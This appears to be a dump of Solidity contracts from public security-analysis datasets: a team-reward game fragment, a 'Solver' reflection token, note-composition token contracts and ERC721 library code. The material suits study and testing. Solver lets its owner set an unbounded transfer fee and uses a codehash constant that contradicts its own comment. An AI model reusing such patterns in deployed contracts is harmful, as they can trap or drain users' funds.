require(team.getOwnerTeam(msg.sender) == 0);
require(_requireTalentSkills(_playerId, playerToken, _minTalent, _minSkills));
team.createTeam(_name, _logo, _minTalent, _minSkills, msg.sender, _playerId);
}
function joinTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.isTeam(_teamId));
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0 || team.getOwnerTeam(msg.sender) == _teamId);
uint256 _position = playerToken.getPosition(_playerId);
require(team.getCountPosition(_teamId, _position) < team.countPlayersInPosition());
require(_requireTalentSkills(_playerId, playerToken, team.getMinTalent(_teamId), team.getMinSkills(_teamId)));
_calcTeamBalance(_teamId, team, playerToken);
team.joinTeam(_teamId, msg.sender, _playerId, _position);
}
function leaveTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == _teamId);
_calcTeamBalance(_teamId, team, playerToken);
uint256 _position = playerToken.getPosition(_playerId);
team.leaveTeam(_teamId, msg.sender, _playerId, _position);
}
function withdraw(address _sendTo, uint _amount) external onlyCEO returns(bool) {
if (_amount > deposits) {
return false;
}
deposits -= _amount;
_sendTo.transfer(_amount);
return true;
}
function _calcTeamBalance(uint256 _teamId, Team team, PlayerToken playerToken) internal returns(bool){
if (balancesTeams[_teamId] == 0) {
return false;
}
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
for(uint256 i = 0; i < _countPlayers; i++) {
uint256 _playerId = team.getPlayerIdOfIndex(_teamId, i);
address _owner = playerToken.ownerOf(_playerId);
balancesInternal[_owner] += balancesTeams[_teamId] / _countPlayers;
}
balancesTeams[_teamId] = 0;
return true;
}
function withdrawEther() external returns(bool) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(msg.sender);
if (balancesTeams[_teamId] > 0) {
PlayerToken playerToken = PlayerToken(playerTokenAddress);
_calcTeamBalance(_teamId, team, playerToken);
}
if (balancesInternal[msg.sender] == 0) {
return false;
}
msg.sender.transfer(balancesInternal[msg.sender]);
balancesInternal[msg.sender] = 0;
}
function createPartnerPlayer(uint256 _league, uint256 _position, uint256 _classPlayerId, address _toAddress) external notPause isCalculatedReward onlyC {
if (countPartnerPlayers >= 300) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, _toAddress);
countPartnerPlayers++;
}
function calculationTeamsRewards(uint256[] orderTeamsIds) public onlyC {
Team team = Team(teamAddress);
if (team.getCountTeams() < 50) {
lastCalculationRewardTime = now;
calculatedReward = true;
return;
}
if (orderTeamsIds.length != team.getCountTeams()) {
revert();
}
for(uint256 teamIndex = 0; teamIndex < orderTeamsIds.length - 1; teamIndex++) {
if (team.getTeamSumSkills(orderTeamsIds[teamIndex]) < team.getTeamSumSkills(orderTeamsIds[teamIndex + 1])) {
revert();
}
}
uint256 k;
for(uint256 i = 1; i < 51; i++) {
if (i == 1) { k = 2000; }
else if (i == 2) { k = 1400; }
else if (i == 3) { k = 1000; }
else if (i == 4) { k = 600; }
else if (i == 5) { k = 500; }
else if (i == 6) { k = 400; }
else if (i == 7) { k = 300; }
else if (i >= 8 && i <= 12) { k = 200; }
else if (i >= 13 && i <= 30) { k = 100; }
else if (i >= 31) { k = 50; }
balancesTeams[orderTeamsIds[i - 1]] = balanceForReward * k / 10000;
}
balanceForReward = 0;
lastCalculationRewardTime = now;
calculatedReward = true;
}
function getSumWithdrawals() public view returns(uint256 sum) {
for(uint256 i = 0; i < 51; i++) {
sum += balancesTeams[i + 1];
}
}
function getBalance() public view returns (uint256 balance) {
uint256 balanceTeam = getBalanceTeam(msg.sender);
return balanceTeam + balancesInternal[msg.sender];
}
function getBalanceTeam(address _owner) public view returns(uint256 balanceTeam) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(_owner);
if (_teamId == 0) {
return 0;
}
uint256 _countPlayersOwner = team.getCountPlayersOfOwner(_teamId, _owner);
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
balanceTeam = balancesTeams[_teamId] / _countPlayers * _countPlayersOwner;
}
}
| 165,745 | 11,382 |
3cefe5d03b7b4b28eafd0a118f1de979f4a3f5aa9287cfbbd684ee5c7c5a5c5a
| 29,531 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/35/35b078cbbae6455e15eddb48d197c081681022a8_Address.sol
| 5,191 | 18,704 |
// SPDX-License-Identifier: No Licensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc49dfdf2f7600c5350c71a790d68a01d2bba62c860defceb537739f2370fe248;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Solver is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 111300000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Solver';
string private _symbol = 'SLR';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 111300000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x60688Ec95cFbb194EC83D49a280ea803b3F85d70, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 329,035 | 11,383 |
2c99282a83e0ceec7bcf4df495fdb4fa70036d307032c6d04618ab992f9243da
| 14,395 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x160bcb977cfb124fddac1f4879955887f228de35.sol
| 3,053 | 11,155 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract NoteToken is StandardToken, Ownable {
using SafeMath for uint256;
string public constant NAME = "Note Token";
string public constant SYMBOL = "NOTE";
uint256 public tokensLeft;
uint256 public endTime;
address compositionAddress;
modifier beforeEndTime() {
require(now < endTime);
_;
}
modifier afterEndTime() {
require(now > endTime);
_;
}
event TokensBought(uint256 _num, uint256 _tokensLeft);
event TokensReturned(uint256 _num, uint256 _tokensLeft);
function NoteToken(uint256 _endTime) public {
totalSupply = 5000;
tokensLeft = totalSupply;
endTime = _endTime;
}
function purchaseNotes(uint256 _numNotes) beforeEndTime() external payable {
require(_numNotes <= 100);
require(_numNotes <= tokensLeft);
require(_numNotes == (msg.value / 0.001 ether));
balances[msg.sender] = balances[msg.sender].add(_numNotes);
tokensLeft = tokensLeft.sub(_numNotes);
emit TokensBought(_numNotes, tokensLeft);
}
function returnNotes(uint256 _numNotes) beforeEndTime() external {
require(_numNotes <= balances[msg.sender]);
uint256 refund = _numNotes * 0.001 ether;
balances[msg.sender] = balances[msg.sender].sub(_numNotes);
tokensLeft = tokensLeft.add(_numNotes);
msg.sender.transfer(refund);
emit TokensReturned(_numNotes, tokensLeft);
}
function setCompositionAddress(address _compositionAddress) onlyOwner() external {
require(compositionAddress == address(0));
compositionAddress = _compositionAddress;
}
function transferToComposition(address _from, uint256 _value) beforeEndTime() public returns (bool) {
require(msg.sender == compositionAddress);
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[compositionAddress] = balances[compositionAddress].add(_value);
Transfer(_from, compositionAddress, _value);
return true;
}
function end() afterEndTime() external {
selfdestruct(compositionAddress);
}
}
contract CompositionPart {
//note struct, holds pitch and place
struct noteId {
uint256 pitch;
uint256 place;
}
//token contract
NoteToken notes;
//2d graph of notes and places, represents midi values 0-127 and position,
bool[1000][128] composition;
//2d graph representing who owns a placed note
address[1000][128] composers;
//time when composing freezes
uint endTime;
//keeps track of notes placed by an address
mapping (address => noteId[]) ownedNotes;
modifier beforeEndTime() {
require(now < endTime);
_;
}
modifier afterEndTime() {
require(now > endTime);
_;
}
modifier placeValidNotes(uint[] _pitches, uint[] _places, uint256 _numNotes) {
require(_pitches.length == _places.length);
require(_pitches.length <= 10);
require(_pitches.length == _numNotes);
for (uint256 i = 0; i < _pitches.length; i++) {
if (_pitches[i] > 127 || _places[i] > 999) {
revert();
} else if (composition[_pitches[i]][_places[i]]) {
revert();
}
}
_;
}
modifier removeValidNotes(uint[] _pitches, uint[] _places, uint256 _numNotes) {
require(_pitches.length == _places.length);
require(_pitches.length <= 10);
require(_pitches.length == _numNotes);
for (uint256 i = 0; i < _pitches.length; i++) {
if (_pitches[i] > 127 || _places[i] > 999) {
revert();
} else if (composers[_pitches[i]][_places[i]] != msg.sender) {
revert();
}
}
_;
}
event NotePlaced(address composer, uint pitch, uint place);
event NoteRemoved(address composer, uint pitch, uint place);
//constructor
function CompositionPart(uint _endTime, address _noteToken) public {
endTime = _endTime;
notes = NoteToken(_noteToken);
}
//places up to 10 valid notes in the composition
function placeNotes(uint256[] _pitches, uint256[] _places, uint256 _numNotes) beforeEndTime() placeValidNotes(_pitches, _places, _numNotes) external {
require(notes.transferToComposition(msg.sender, _numNotes));
for (uint256 i = 0; i < _pitches.length; i++) {
noteId memory note;
note.pitch = _pitches[i];
note.place = _places[i];
ownedNotes[msg.sender].push(note);
composition[_pitches[i]][_places[i]] = true;
composers[_pitches[i]][_places[i]] = msg.sender;
emit NotePlaced(msg.sender, _pitches[i], _places[i]);
}
}
//removes up to 10 owned notes from composition
function removeNotes(uint256[] _pitches, uint256[] _places, uint256 _numNotes) beforeEndTime() removeValidNotes(_pitches, _places, _numNotes) external {
for (uint256 i = 0; i < _pitches.length; i++) {
uint256 pitch = _pitches[i];
uint256 place = _places[i];
composition[pitch][place] = false;
composers[pitch][place] = 0x0;
removeOwnedNote(msg.sender, pitch, place);
emit NoteRemoved(msg.sender, pitch, place);
}
require(notes.transfer(msg.sender, _numNotes));
}
//internal function to remove notes from ownedNotes array
function removeOwnedNote(address sender, uint256 _pitch, uint256 _place) internal {
uint256 length = ownedNotes[sender].length;
for (uint256 i = 0; i < length; i++) {
if (ownedNotes[sender][i].pitch == _pitch && ownedNotes[sender][i].place == _place) {
ownedNotes[sender][i] = ownedNotes[sender][length-1];
delete ownedNotes[sender][length-1];
ownedNotes[sender].length = (length - 1);
break;
}
}
}
function getNoteLine(uint _pitch) external view returns (bool[1000], address[1000]) {
bool[1000] memory _pitches = composition[_pitch];
address[1000] memory _composers = composers[_pitch];
return (_pitches, _composers);
}
//returns whether or note a note exists at a pitch and place
function getNote(uint _pitch, uint _place) external view returns (bool) {
bool _note = composition[_pitch][_place];
return _note;
}
//returns note owner
function getNoteOwner(uint _pitch, uint _place) external view returns (address) {
return composers[_pitch][_place];
}
//returns notes placed by sender
function getPlacedNotes() external view returns (uint[], uint[]) {
uint length = ownedNotes[msg.sender].length;
uint[] memory pitches = new uint[](length);
uint[] memory places = new uint[](length);
for (uint i = 0; i < ownedNotes[msg.sender].length; i++) {
pitches[i] = ownedNotes[msg.sender][i].pitch;
places[i] = ownedNotes[msg.sender][i].place;
}
return (pitches, places);
}
function () external {
revert();
}
}
| 197,771 | 11,384 |
e88413e2bb7dbeb078d000d2421c78ca65aa76ffc5224467796e0cc2dc912f07
| 22,107 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/ERC721Metadata.sol
| 2,749 | 10,398 |
pragma solidity ^0.5.2;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
